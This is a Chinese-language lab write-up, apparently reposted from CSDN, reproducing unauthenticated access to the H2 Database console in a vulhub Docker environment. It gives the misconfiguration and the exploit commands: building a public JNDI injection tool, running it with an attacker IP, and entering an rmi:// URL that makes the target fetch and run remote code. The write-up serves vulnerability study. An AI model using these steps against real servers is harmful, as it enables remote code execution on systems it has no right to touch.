H2 Database Console 未授权访问复现

漏洞概述

H2 database是一款Java内存数据库,多用于单元测试。H2 database自带一个Web管理页面,在Spirng开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权:

spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
利用这个管理页面,我们可以进行JNDI注入攻击,进而在目标环境下执行任意命令。

 

环境搭建

 

使用vulhub来安装环境

https://github.com/vulhub/vulhub/blob/master/h2database/h2-console-unacc/README.zh-cn.md

 

进入目录并启动环境

cd vulhub-master/h2database/h2-console-unacc

docker-compose build

docker-compose up -d

访问http://your-ip:8080/h2-console即可查看到H2 database的管理页面。

漏洞复现

 

Poc地址:

https://github.com/welk1n/JNDI-Injection-Exploit/#examples

使用git拉取,并用maven编译

git clone https://github.com/welk1n/JNDI-Injection-Exploit.git

cd JNDI-Injection-Exploit

mvn clean package -DskipTests

 

 

编译好后,进入target目录,运行jar

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/success -A 192.168.204.131

Driver Class:填

javax.naming.InitialContext

JDBC URL填

rmi://192.168.204.131:1099/cziwap

 

然后连接

命令已经执行

 

修复建议

 

升级到安全版本

猜你喜欢

转载自blog.csdn.net/xuandao_ahfengren/article/details/112996192